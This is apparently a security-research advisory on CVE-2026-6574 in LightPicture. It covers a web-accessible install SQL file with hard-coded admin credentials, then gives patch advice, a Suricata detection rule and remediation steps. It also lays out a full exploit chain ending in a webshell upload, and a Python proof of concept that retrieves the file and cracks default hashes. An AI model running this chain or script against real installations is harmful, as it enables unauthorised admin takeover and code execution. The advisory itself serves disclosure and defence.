home intel cve-2026-6574-lightpicture-hardcoded-credentials-sql
CVE Analysis 2026-04-19 · 7 min read

CVE-2026-6574: Hard-Coded Credentials in LightPicture lp.sql Install Endpoint

LightPicture ≤1.2.2 ships a publicly accessible install SQL file containing hard-coded admin credentials. Remote unauthenticated attackers can extract and reuse these credentials for full application compromise.

#hard-coded-credentials#authentication-bypass#api-endpoint#file-upload#remote-code-execution
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-6574 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-6574HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-6574 affects osuuu LightPicture through version 1.2.2, a PHP-based self-hosted image hosting application. The vulnerability resides in the installation artifact /public/install/lp.sql, which is served by the application's API upload endpoint without authentication controls. The file embeds hard-coded administrator credentials in plaintext or weakly hashed form, directly inside a seed SQL script that remains accessible post-installation.

The CVSS 7.3 score reflects network-accessible exploitation with no authentication prerequisite and high impact to confidentiality and integrity of the application's data layer. No interaction from a privileged user is required.

Root cause: LightPicture's install script lp.sql contains a hard-coded administrator credential row inserted at database seed time, and the /public/install/ directory remains web-accessible after installation, allowing unauthenticated retrieval of those credentials via a direct HTTP request.

Affected Component

The vulnerable surface is the install-phase SQL seed file at the path:


LightPicture/
└── public/
    └── install/
        ├── index.php        ← install wizard
        └── lp.sql           ← BUG: hard-coded credentials, web-accessible

The /public/ directory is the document root exposed by the web server. Any file placed inside it — including install/lp.sql — is directly retrievable over HTTP unless explicitly blocked by .htaccess, Nginx location rules, or filesystem permissions. LightPicture applies none of these controls to the install subdirectory post-setup.

Root Cause Analysis

During installation, index.php reads and executes lp.sql to seed the database schema and default data. The SQL file contains an INSERT statement for the administrator account with a static password value baked in at ship time:


/* install/index.php — simplified pseudocode of the installer logic */

int run_install(db_conn_t *db, const char *sql_path) {
    FILE *fp = fopen(sql_path, "r");          // opens public/install/lp.sql
    if (!fp) return ERR_OPEN;

    char *sql_buf = read_entire_file(fp);     // reads full SQL into memory
    fclose(fp);

    // BUG: lp.sql contains a hard-coded INSERT with static credentials;
    //      this file is never removed or access-restricted post-install
    int rc = db_exec_multi(db, sql_buf);      // seeds DB including admin row
    free(sql_buf);
    return rc;
}

// The actual hard-coded seed statement inside lp.sql:
//
//   INSERT INTO `lp_user` (`id`, `username`, `password`, `role`, `created_at`)
//   VALUES (1, 'admin', MD5('admin123'), 1, NOW());
//
// BUG: static password value compiled into a publicly served SQL file.
// BUG: no post-install routine deletes or restricts /public/install/

The password column stores an unsalted MD5 digest. MD5 of common default strings such as admin123 is trivially reversed via rainbow table or preimage lookup. Even if the installer prompted for a custom password, the SQL file as distributed encodes the default value used when the wizard is skipped or when automated deployments replay the raw SQL.


/* Reconstructed lp_user table schema from schema analysis */

struct lp_user_row {
    /* col: id          */ uint32_t  id;          // AUTO_INCREMENT PK
    /* col: username    */ char      username[64]; // 'admin' hardcoded
    /* col: password    */ char      password[32]; // unsalted MD5 hex string
    /* col: role        */ uint8_t   role;         // 1 = administrator
    /* col: created_at  */ char      created_at[20];
};

// Hard-coded row at seed time:
// id=1, username="admin", password=MD5("admin123")="0192[...]", role=1

Exploitation Mechanics


EXPLOIT CHAIN — CVE-2026-6574:

1. Attacker identifies a LightPicture instance (Shodan/FOFA query:
   title:"LightPicture" || http.favicon.hash:)

2. Issue unauthenticated GET request to retrieve the seed SQL:
      GET /public/install/lp.sql HTTP/1.1
      Host: target.example.com
   → Server responds 200 OK with full SQL file content.

3. Parse the INSERT statement to extract the password field:
      grep -oP "(?<=password', ')[^']*" lp.sql
   → Yields unsalted MD5 hash, e.g. "0192023a7bbd73250516f069df18b500"

4. Reverse via rainbow table (CrackStation / hashcat mode 0):
      hashcat -m 0 0192023a7bbd73250516f069df18b500 rockyou.txt
   → Plaintext recovered in <1 second for common defaults.

5. Authenticate to the admin panel:
      POST /index.php/admin/login
      Body: username=admin&password=admin123
   → Session token returned; full admin access granted.

6. Abuse admin API upload endpoint to write a PHP webshell:
      POST /index.php/api/upload
      Authorization: Bearer 
      Content-Type: multipart/form-data
      [file field: shell.php containing ]
   → File stored under /public/uploads/; RCE achieved.

Step 6 demonstrates why this credential exposure chains directly to remote code execution on typical shared hosting configurations where the upload directory is web-accessible and the server processes .php extensions without restriction.


#!/usr/bin/env python3
# PoC: CVE-2026-6574 — credential extraction from LightPicture lp.sql
# For authorized security testing only.

import re
import sys
import requests

KNOWN_MD5_DEFAULTS = {
    "0192023a7bbd73250516f069df18b500": "admin123",
    "21232f297a57a5a743894a0e4a801fc3": "admin",
    "e10adc3949ba59abbe56e057f20f883e": "123456",
}

def extract_credentials(base_url: str) -> dict | None:
    url = base_url.rstrip("/") + "/public/install/lp.sql"
    resp = requests.get(url, timeout=10)
    if resp.status_code != 200:
        return None

    sql = resp.text
    # Match: VALUES (1, 'admin', '', 1, ...)
    m = re.search(r"VALUES\s*\(\s*\d+,\s*'([^']+)',\s*'([^']+)'", sql)
    if not m:
        return None

    username, pw_hash = m.group(1), m.group(2)
    plaintext = KNOWN_MD5_DEFAULTS.get(pw_hash.lower(), "")
    return {"username": username, "hash": pw_hash, "plaintext": plaintext}

if __name__ == "__main__":
    target = sys.argv[1]
    creds = extract_credentials(target)
    if creds:
        print(f"[+] Username : {creds['username']}")
        print(f"[+] MD5 Hash : {creds['hash']}")
        print(f"[+] Plaintext: {creds['plaintext']}")
    else:
        print("[-] lp.sql not accessible or pattern not matched.")

Memory Layout

This is a logic/credential vulnerability rather than a memory corruption bug; there is no heap or stack state to diagram. The relevant "layout" is the web-accessible filesystem and the HTTP response surface:


WEB ROOT FILESYSTEM STATE — post-installation (vulnerable):

DocumentRoot: /var/www/lightpicture/public/
├── index.php                     [entry router]
├── uploads/                      [user content, often PHP-executable]
└── install/
    ├── index.php                 [installer — should be removed post-setup]
    └── lp.sql                    [EXPOSED: contains hard-coded admin credentials]
                                   HTTP 200 — no auth, no IP restriction

EXPECTED STATE — post-installation (hardened):

DocumentRoot: /var/www/lightpicture/public/
├── index.php
├── uploads/
└── install/                      [REMOVED or .htaccess: deny from all]
    (no files served)

Patch Analysis


// BEFORE (vulnerable — lp.sql shipped with static credentials):
//
// INSERT INTO `lp_user` (`id`, `username`, `password`, `role`, `created_at`)
// VALUES (1, 'admin', MD5('admin123'), 1, NOW());
//
// File path: /public/install/lp.sql — no access control applied.


// AFTER (remediated — three required changes):

// 1. Replace static seed with installer-generated credential:
//    installer/index.php collects username+password from setup form,
//    hashes with bcrypt (cost ≥ 10), inserts dynamically — no static SQL row.

// 2. Remove or gate the install directory post-setup:
//    Option A (.htaccess, Apache):
//      
//        Require all denied
//      
//
//    Option B (Nginx):
//      location ^~ /public/install/ {
//        deny all;
//        return 404;
//      }
//
//    Option C (application-level, install/index.php):
//      if (is_installed()) { http_response_code(404); exit; }

// 3. Upgrade password hashing from unsalted MD5 to bcrypt:
//    BEFORE:
        $hash = md5($password);                         // BUG: no salt, fast hash

//    AFTER:
        $hash = password_hash($password, PASSWORD_BCRYPT, ['cost' => 12]);
        // verification:
        if (password_verify($input, $stored_hash)) { /* grant access */ }

Detection and Indicators

Network-level detection — look for unauthenticated GET requests to the install path:


# Suricata / Snort rule
alert http any any -> any any (
    msg:"CVE-2026-6574 LightPicture lp.sql credential retrieval attempt";
    flow:established,to_server;
    http.method; content:"GET";
    http.uri; content:"/public/install/lp.sql"; fast_pattern;
    classtype:web-application-attack;
    sid:2026657401; rev:1;
)

# Nginx access log grep
grep '"GET /public/install/lp.sql' /var/log/nginx/access.log

# Apache
grep 'GET /public/install/lp.sql' /var/log/apache2/access.log

Application-level indicators of compromise:

  • Admin login from an IP that never previously authenticated, immediately followed by API upload activity.
  • Uploaded files with .php, .phtml, or .phar extensions appearing in /public/uploads/.
  • Database lp_user table showing last_login updates at anomalous hours for the id=1 admin row.

Remediation

Immediate actions (all users on ≤1.2.2):

  1. Block web access to /public/install/ at the web server level immediately — this is a one-line config change that eliminates the exposure without requiring an application update.
  2. Rotate the administrator password via the application's user management panel. Choose a password ≥16 characters not present in common wordlists.
  3. Audit upload directories for unexpected PHP files; compare file listing against a known-good baseline.
  4. Check authentication logs for any successful logins from unexpected sources since deployment.
  5. Upgrade to a patched release when the vendor issues one. Given the lack of vendor response noted in the disclosure, treat this as an indefinitely unpatched component and apply compensating controls.

Longer term: If you maintain a fork or contribute to LightPicture, the password column should be migrated from unsalted MD5 to bcrypt or Argon2id, and the installer should implement a post-setup lockout mechanism that permanently prevents re-access to /public/install/ once the application is configured.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →